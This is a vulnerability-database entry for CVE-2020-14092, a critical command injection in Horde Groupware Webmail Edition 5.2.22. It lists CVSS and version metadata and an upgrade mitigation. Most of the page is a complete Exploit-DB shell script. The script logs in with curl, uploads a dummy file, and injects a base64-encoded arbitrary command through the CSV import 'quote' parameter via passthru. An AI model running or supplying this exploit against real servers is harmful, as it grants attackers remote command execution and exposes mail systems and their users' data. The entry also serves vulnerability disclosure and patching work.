Command Injection in Horde Groupware Webmail Edition 5.2.22

vendor:

Horde Groupware Webmail Edition

by:

Harshit Rajpal

9.8

CVSS

CRITICAL

Command Injection

CWE

Product Name: Horde Groupware Webmail Edition

Affected Version From: 5.2.22

Affected Version To: 5.2.22

Patch Exists: YES

Related CWE: CVE-2020-14092

CPE: a:horde:horde_groupware_webmail_edition:5.2.22

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Linux, Mac, Windows

2020

Command Injection in Horde Groupware Webmail Edition 5.2.22

Horde Groupware Webmail Edition 5.2.22 is vulnerable to command injection. An attacker can exploit this vulnerability by sending a maliciously crafted request to the vulnerable application. This can allow the attacker to execute arbitrary commands on the underlying operating system.

Mitigation:

Upgrade to Horde Groupware Webmail Edition 5.2.23 or later.

Source

Exploit-DB raw data:

#!/bin/sh

if [ "$#" -ne 4 ]; then
    echo '[!] Usage: <url> <username> <password> <command>' 1>&2
    exit 1
fi

BASE="$1"
USERNAME="$2"
PASSWORD="$3"
COMMAND="$4"

JAR="$(mktemp)"
trap 'rm -f "$JAR"' EXIT

echo "[+] Logging in as $USERNAME:$PASSWORD" 1>&2
curl -si -c "$JAR" "$BASE/login.php" \
    -d 'login_post=1' \
    -d "horde_user=$USERNAME" \
    -d "horde_pass=$PASSWORD" | grep -q 'Location: /services/portal/' || \
    echo '[!] Cannot log in' 1>&2

echo "[+] Uploading dummy file" 1>&2
echo x | curl -si -b "$JAR" "$BASE/mnemo/data.php" \
    -F 'actionID=11' \
    -F 'import_step=1' \
    -F 'import_format=csv' \
    -F 'notepad_target=x' \
    -F 'import_file=@-;filename=x' \
    -so /dev/null

echo "[+] Running command" 1>&2
BASE64_COMMAND="$(echo -n "$COMMAND 2>&1" | base64 -w0)"
curl -b "$JAR" "$BASE/mnemo/data.php" \
    -d 'actionID=3' \
    -d 'import_step=2' \
    -d 'import_format=csv' \
    -d 'header=1' \
    -d 'fields=1' \
    -d 'sep=x' \
    --data-urlencode "quote=).passthru(base64_decode(\"$BASE64_COMMAND\")).die();}//\\"